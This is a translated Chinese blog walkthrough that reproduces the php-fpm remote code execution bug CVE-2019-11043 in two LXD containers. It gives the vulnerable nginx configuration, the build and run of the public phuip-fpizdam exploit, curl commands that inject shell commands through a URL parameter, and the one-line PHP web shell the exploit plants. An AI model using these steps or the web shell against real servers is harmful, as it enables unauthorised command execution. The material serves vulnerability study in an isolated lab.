在Linux 容器中對php-fpm緩衝區溢出漏洞的復現分析 ( CVE-2019-11043 )

2021-02-14 嘶吼專業版

CVE-2019-11043是php-fpm中的一個緩衝區溢出漏洞,在某些情況下會導致遠程執行。PHuiP-FPizdaM有一個針對某些nginx和php-fpm配置的漏洞復現測試,他們描述了如何使用Docker來測試此漏洞。

在本文中,我們使用LXD來測試漏洞並驗證其是否真實有效。

當nginx配置為php-fpm以特定方式處理時,該漏洞很容易觸發,Nextcloud的配置說明建議使用這種錯誤的配置方式。在本文中,我們嘗試在不安裝Nextcloud的情況下實現此漏洞的復現。

在下面創建了兩個系統容器:vulnerable和hacker。在第一個容器中,我們根據漏洞利用頁面的需要進行設置nginx和php-fpm(最新版本,仍然存在緩衝區溢出)並進行配置。在另一個容器中,我們針對第一個容器運行漏洞利用代碼。

0x01 配置存在漏洞的容器環境

我們創建容器vulnerable並安裝軟體包nginx和php-fpm。php-fpm的版本必須是一個存在漏洞的版本。存在緩衝區溢出漏洞的版本是php-fpm-7.2.19-0ubuntu0.18.04.2。

http://security.ubuntu.com/ubuntu/pool/universe/p/php7.2/

 $ lxc launch ubuntu:18.04 vulnerable

 Creating vulnerable

 Starting vulnerable

 $ lxc exec vulnerable -- sudo --user ubuntu --login

 To run a command as administrator (user "root"), use "sudo ".

 See "man sudo_root" for details.

  ubuntu@vulnerable:~$ sudo apt update

 ...

 ubuntu@vulnerable:~$ sudo apt install -y nginx php-fpm

 ...

 ubuntu@vulnerable:~$ apt policy php-fpm

 php-fpm:

  Installed: 1:7.2+60ubuntu1

  Candidate: 1:7.2+60ubuntu1

  Version table:

 *** 1:7.2+60ubuntu1 500

        500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages

        100 /var/lib/dpkg/status

 ubuntu@vulnerable:~$ apt policy php7.2-fpm

 php7.2-fpm:

   Installed: 7.2.19-0ubuntu0.18.04.2

   Candidate: 7.2.19-0ubuntu0.18.04.2

   Version table:

  *** 7.2.19-0ubuntu0.18.04.2 500

         500 http://archive.ubuntu.com/ubuntu bionic-updates/universe amd64 Packages

         500 http://security.ubuntu.com/ubuntu bionic-security/universe amd64 Packages

         100 /var/lib/dpkg/status

      7.2.3-1ubuntu1 500

         500 http://archive.ubuntu.com/ubuntu bionic/universe amd64 Packages

 ubuntu@vulnerable:~$ logout

 $

給vulnerable為剛剛安裝nginx和php-fpm的當前狀態的容器拍攝快照。如果要重新開始測試,可以輕鬆切換回此狀態。

在此處展示如何還原以及刪除快照:

$ lxc snapshot vulnerable stock-install 

$ lxc info vulnerable  

Name: vulnerable

...

Snapshots:    

stock-install (taken at 2019/10/28 10:11 UTC) (stateless) 

$ lxc restore vulnerable stock-install 

$ lxc delete vulnerable/stock-install

默認情況下,php-fpm沒有在nginx伺服器(即虛擬主機)中啟用,現在啟用一下。首先嘗試使用Ubuntu中的默認配置進行設置。以下是nginx中的默認網站配置,刪除了所有不重要的內容,並啟用了PHP支持。現在還尚未配置php-fpm為易受攻擊狀態。

# Location: /etc/nginx/sites-enabled/default

  server {

         listen 80 default_server;

         root /var/www/html;

          # Add index.php to the list if you are using PHP

         index index.html index.php;

          server_name _;

          location / {

             # First attempt to serve request as file, then

             # as directory, then fall back to displaying a 404.

             try_files $uri $uri/ =404;

         }

          # pass PHP scripts to FastCGI server

         #

         location ~ \.php$ {

             include snippets/fastcgi-php.conf;

              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

        }

 }

最後創建一個index.php並在其中添加一些簡單的PHP。然後,我們驗證PHP代碼是否可以運行。要漏洞利用的話,我們還可以使用一個空的.php文件。

 ubuntu@vulnerable:~$ lxc exec vulnerable -- sudo --user ubuntu --login

 ubuntu@vulnerable:~$ echo "<?php echo '<p>Hello World</p>'; ?> " | sudo tee /var/www/html/index.php

 ubuntu@vulnerable:~$ curl http://localhost

 Hello World

 ubuntu@vulnerable:~$

存在漏洞的容器已準備就緒,為容器做個快照,以備將來會使用到。

ubuntu@vulnerable:~$ logout

 $ lxc snapshot vulnerable stock-with-php-on 

$

0x02 配置攻擊容器環境

創建hacker容器並編譯漏洞利用代碼:

 $ lxc launch ubuntu:18.04 hacker

 Creating hacker

 Starting hacker

 $ lxc exec hacker -- sudo --user ubuntu --login

 ubuntu@hacker:~$ sudo snap install go --classic

 go 1.13.3 from Michael Hudson-Doyle (mwhudson) installed

 ubuntu@hacker:~$ git clone https://github.com/neex/phuip-fpizdam.git

 ubuntu@hacker:~$ cd phuip-fpizdam/

 ubuntu@hacker:~/phuip-fpizdam$ go build

 go: downloading github.com/spf13/cobra v0.0.5

 go: extracting github.com/spf13/cobra v0.0.5

 go: downloading github.com/spf13/pflag v1.0.3

 go: extracting github.com/spf13/pflag v1.0.3

 go: finding github.com/spf13/cobra v0.0.5

 go: finding github.com/spf13/pflag v1.0.3

 ubuntu@hacker:~/phuip-fpizdam$ ls

  README.md  consts.go  detect_methods.go  go.sum   phpini.go      

  reproducer attack.go  detect.go  go.mod  main.go  phuip-fpizdam  

  requester.go

 ubuntu@hacker:~/phuip-fpizdam$

在這一階段,我們可以嘗試查看vulnerable容器中nginx + php的常規安裝是否可以執行漏洞利用代碼實現利用。該vulnerable容器是通過使用名稱加上.lxd從這個容器訪問。每個LXD容器都是隨機獲得這樣的主機名的,其他容器都可以使用這些主機名來訪問所有這些主機名。

 ubuntu@hacker:~/phuip-fpizdam$ curl http://vulnerable.lxd/index.php

 <p>Hello World</p>

 ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php

 2019/10/28 10:09:06 Base status code is 404

 2019/10/28 10:09:06 Detect() returned error: no qsl candidates found, invulnerable or something wrong

 ubuntu@hacker:~/phuip-fpizdam$

hacker容器已經準備就緒,vulnerable容器是不是真的可以被利用,需要恢復快照到可以利用的狀態。

0x03 配置vulnerable容器

在上面的伺服器配置中,有一個指令是include snippets/fastcgi-php.conf;,該指令用於逐字節include一組配置。我們需要編輯這些配置,因此導入整個文件,伺服器塊如下所示:

 # Location: /etc/nginx/sites-enabled/default

  server {

         listen 80 default_server;

         root /var/www/html;

          # Add index.php to the list if you are using PHP

         index index.html index.php;

          server_name _;

          location / {

             # First attempt to serve request as file, then

             # as directory, then fall back to displaying a 404.

             try_files $uri $uri/ =404;

         }

          # pass PHP scripts to FastCGI server

         #

         location ~ \.php$ {

  # regex to split $uri to $fastcgi_script_name and $fastcgi_path

 fastcgi_split_path_info ^(.+.php)(/.+)$;

  # Check that the PHP script exists before passing it

 try_files $fastcgi_script_name =404;

  # Bypass the fact that try_files resets $fastcgi_path_info

 # see: http://trac.nginx.org/nginx/ticket/321

 set $path_info $fastcgi_path_info;

 fastcgi_param PATH_INFO $path_info;

  fastcgi_index index.php;

 include fastcgi.conf;

              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

        }

 }

我們進行以下最小更改。

首先,將匹配模式更改為所述模式。其次,注釋掉try_files指令。然後,將include fastcgi.conf目錄移到該部分的最外層。該文件位於/etc/nginx/fastcgi.conf,只需要將幾個環境變量設置為PHP-FPM。

更改為php-fpm的默認nginx配置。

這是最終漏洞程序的配置文件。

切換到hacker容器並嘗試利用。

 # Location: /etc/nginx/sites-enabled/default

  server {

         listen 80 default_server;

         root /var/www/html;

          # Add index.php to the list if you are using PHP

         index index.html index.php;

          server_name _;

          location / {

             # First attempt to serve request as file, then

             # as directory, then fall back to displaying a 404.

             try_files $uri $uri/ =404;

         }

          # pass PHP scripts to FastCGI server

         #

         location ~ [^/].php(/|$) {

  include fastcgi.conf;

  # regex to split $uri to $fastcgi_script_name and $fastcgi_path

 fastcgi_split_path_info ^(.+.php)(/.+)$;

  # Check that the PHP script exists before passing it

 #try_files $fastcgi_script_name =404;

  # Bypass the fact that try_files resets $fastcgi_path_info

 # see: http://trac.nginx.org/nginx/ticket/321

 set $path_info $fastcgi_path_info;

 fastcgi_param PATH_INFO $path_info;

  fastcgi_index index.php;

              fastcgi_pass unix:/var/run/php/php7.2-fpm.sock;

        }

 }

0x04 漏洞利用

在hacker容器中,我們在容器上運行漏洞利用程序vulnerable。php-fpm確實受到了影響,可以用來進一步遠程執行命令。

 ubuntu@hacker:~/phuip-fpizdam$ ./phuip-fpizdam http://vulnerable.lxd/index.php

 2019/10/28 14:39:24 Base status code is 200

 2019/10/28 14:39:25 Status code 502 for qsl=1765, adding as a candidate

 2019/10/28 14:39:25 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]

 2019/10/28 14:39:25 Attack params found: --qsl 1760 --pisos 84 --skip-detect

 2019/10/28 14:39:25 Trying to set "session.auto_start=0"…

 2019/10/28 14:39:25 Detect() returned attack params: --qsl 1760 --pisos 84 --skip-detect <-- REMEMBER THIS

 2019/10/28 14:39:25 Performing attack using php.ini settings…

 2019/10/28 14:39:25 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs

 2019/10/28 14:39:25 Trying to cleanup /tmp/a…

 2019/10/28 14:39:25 Done!

 ubuntu@hacker:~/phuip-fpizdam$

根據說明運行如下命令,漏洞利用代碼每隔一段時間就會利用成功。

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 <p>Hello World</p>

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 uid=33(www-data) gid=33(www-data) groups=33(www-data)

 <p>Hello World</p>

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 <p>Hello World</p>

 ubuntu@hacker:~/phuip-fpizdam$ curl "http://vulnerable.lxd/index.php?a=/bin/sh+-c+'id'&"

 uid=33(www-data) gid=33(www-data) groups=33(www-data)

 <p>Hello World</p>

 ubuntu@hacker:~/phuip-fpizdam$

利用的方式是將/tmp/a幫助程序腳本保存在存在漏洞程序的主機上,然後,每次調用此幫助程序以執行攻擊命令。

 ubuntu@vulnerable:~$ ls -l /tmp/a

 -rw-r--r-- 1 www-data www-data 32 Oct 28 14:41 /tmp/a

  ubuntu@vulnerable:~$ cat /tmp/a

 <?php echo`$_GET[a]`;return;?>

  ubuntu@vulnerable:~$

0x05 結論

可以使用LXD作為開發和測試環境來評估此漏洞的重要性,不需要使用Docker進行測試。可以在許多Linux發行版中進行選擇,包括Ubuntu,Debian,Centos,Fedora和openSUSE。

我們還可以在ubuntu:16.04設置一個vulnerable容器來研究PHP5上的此漏洞。

本文翻譯自:https://blog.simos.info/testing-cve-2019-11043-php-fpm-security-vulnerability-with-lxd-system-containers/

相關焦點

  • 漏洞分析 | CVE-2019-11043
    漏洞分析期間採用的請求包為:GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?HTTP/1.1Host: 192.168.3.68User-Agent: Mozilla/5.0D-Pisos: 8========================================================================================================================
  • CVE-2019-5736容器逃逸漏洞復現及分析
    CVE-2019-5736漏洞復現背景近期結合實際需要,對Docker容器相關的安全漏洞進行了收集,目前公開的Docker
  • CVE-2017-11882 office緩存溢出漏洞復現
    電腦中有9臺電腦用的是盜版,即便激活成功大多也是盜版的授權許可,在如此大的基數下,國內辦公軟體行業市場現狀,office必定屬於前列,所以搜索相關文章,綜合分析,感覺都在說,微軟Office套件最有效的攻擊手段,是基於CVE-2017-11882的漏洞,於是乎找到cve-2017-11882這個漏洞,做漏洞復現,隨有下文。
  • 只需某些特定的Nginx + PHP-FPM 配置,即可觸發PHP 遠程代碼執行漏洞
    >遠程代碼執行漏洞 (CVE-2019-11043)。d90pwn 指出,可以通過換行符 (%0a) 來攻破 fastcgi_split_path_info指令中的 regexp(正則表達式),從而導致 PATH_INFO 為空,進而觸發該漏洞。該漏洞可引發代碼執行後果。
  • 路由器緩衝區溢出漏洞cve-2013-7389復現
    這篇文章是前段時間課程的一個實驗報告,內容是復現了一個簡單的dir645路由器的緩衝器溢出漏洞,對於入門IOT、路由器漏洞復現環境的搭建和分析有一定幫助
  • CVE-2021-3156:Sudo 堆緩衝區溢出漏洞通告
    raise(9); }}3.
  • CVE-2018-20434 LibreNMS 1.46 - 'addhost' RCE漏洞復現
    最近在復現其最新的漏洞的時候,順帶著復現其中之前的一個漏洞編號為CVE-2018-20434的漏洞。漏洞觸發在LibreNMS 1.46及之前版本中的capture.inc.php文件,文件所在位置:/opt/librenms/html/includes/output/capture.inc.php通過在添加新設備時在public community參數中添加任意命令來觸發利用,該命令會將未處理的請求發送到"addhost.inc.php
  • 【漏洞分析】PCMan FTP Server緩衝區溢出CVE-2013-4730漏洞分析
    環境搭建靶機環境:Windows xp sp3靶機配置:PCMan FTP Server 2.0.7windbgmona攻擊機:kali 2.0攻擊機配置:2.復現過程在靶機中運行PCMan FTP,確保21號埠已打開,用windbg附加程序由漏洞的exploit可以得知USER欄位存在溢出漏洞,編寫poc並在 kali 中運行測試 複製代碼 隱藏代碼from pwn import *context(log_level="debug")io = remote("192.168.112.146
  • 一個緩衝區溢出復現筆記
    本文為看雪論優秀文章看雪論壇作者ID:半杯涼茶緩衝區溢出的原因是程序中沒有仔細檢查用戶輸入的參數,通過往程序的緩衝區寫超出其長度的內容
  • CVE-2021-3156 漏洞復現
    01月26日,sudo被披露存在一個基於堆的緩衝區溢出漏洞(CVE-2021-3156,該漏洞被命名為「Baron Samedit」),可導致本地權限提升。復現環境Kali漏洞檢測用戶可以使用非root的帳戶登錄系統,運行「 sudoedit -s / 」命令.若返回如圖以「 sudoedit:」開頭的錯誤,則當前系統可能存在安全風險。
  • 對 TP-Link TL-WR841N v14 CVE-2019-17147 緩衝區溢出漏洞的分析
    wmode=opaque&enablejsapi=1 0x07  漏洞分析CVE-2019-17147是一個影響httpdWeb服務的緩衝區溢出漏洞。該漏洞的機制很簡單,在漏洞函數http_parser_main()中,它將Host請求頭複製到strncpy()512位元組全局緩衝區中:當attacker_controlled_buffer
  • BlueBorne 之 Linux Kernel 緩衝區溢出漏洞(CVE-2017-1000251)原理分析
    由於 BlueZ 把 L2CAP 實現在了 Linux 內核中,所以觸發該漏洞極易導致 Linux 系統崩潰,也可能導致任意代碼執行的風險。/linux_4.4.0-31.50.diff背景知識L2CAP 簡介L2CAP 在藍牙世界中的地位相當於網際網路中的 TCP/UDP 協議。它可以把邏輯鏈路復用為多個邏輯信道,同時在這些信道上為高層提供面向連接或無連接的數據傳輸以及數據分段重組服務。
  • CVE-2019-11477:Linux 內核中TCP SACK機制遠程Dos預警分析
    2019年6月18日,RedHat官網發布報告:安全研究人員在Linux內核處理TCP SACK數據包模塊中發現了三個漏洞
  • 漏洞預警|Linux 內核中TCP SACK機制遠程DoS漏洞(CVE-2019-11477)
    最嚴重的一個漏洞允許遠程攻擊者在受影響軟體的系統中觸發漏洞造成內核崩潰,從而影響系統的可用性。三個漏洞的CVE編號為CVE-2019-11477(高危)、CVE-2019-11478和CVE-2019-11479。前兩個漏洞與選擇性確認(SACK)數據包和最大段大小(MSS)有關,第三個僅與最大段大小(MSS)有關。
  • CVE-2019-0708 漏洞分析及相關測試
    前言在CVE-2019-0708公布後幾天就已經嘗試過復現該漏洞,但藉助當時exp並沒能成功復現反彈shell的過程遂放棄,故藉助這次漏洞復現報告再來嘗試復現該漏洞
  • Apache 提權漏洞(CVE-2019-0211)復現
    ,並且前天在GitHub上公布出了利用腳本,這幾天我負責漏洞應急這個漏洞。本篇文章沒有叫:《Apache 提權漏洞分析》是因為我覺得 CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 這篇文章的分析寫的挺好的,所以我沒必要再翻譯一遍了,本篇文章主要敘述復現該漏洞的過程中踩過的坑。
  • 超全面未授權訪問漏洞復現合集
    漏洞復現這裡遇到一個問題:部署的vnc環境,必須得設置密碼,VNC服務才能啟動。 但有密碼,就無法復現該漏洞(攻擊者無法獲取到密碼) 這裡可參考其他人發的,使用VNC Viewer 進行漏洞利用: 漏洞復現訪問http://192.168.131.128:8080/
  • DLINK-DIR-645棧溢出漏洞分析復現
    2013年爆出一個棧溢出漏洞,可因cookie的值過長而引起棧溢出,本文詳細記錄了該漏洞復現過程。     漏洞公告:    http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt0x01 漏洞靜態分析    我的環境:    kali-linux
  • D-Link DIR-859 RCE漏洞(CVE-2019-17621)分析復現
    三、漏洞分析對於漏洞分析,參考原文:https://blog.csdn.net/NOSEC2019/article/details/103823845根據紕漏,可知遠程代碼執行漏洞在UPnP請求的代碼中。1. UPnP協議棧UPnP是實現智能設備端到端網絡連接的結構。
  • 華碩RT-AC68U漏洞復現(一)
    接下來沿著廠商修復的路徑逐一復現其修復的漏洞,以便更好的理解和掌握開發框架。下一個漏洞修復點為:版本 3.00.4.384.45149。fflush清除緩衝區,立即把輸出緩衝區的數據進行物理寫入。hook=select_channel("US")CVE-2018-14712/appGet.cgi中delete_sharedfolder中存在堆棧緩衝區溢出。這個溢出發生在函數的libdisk.so中。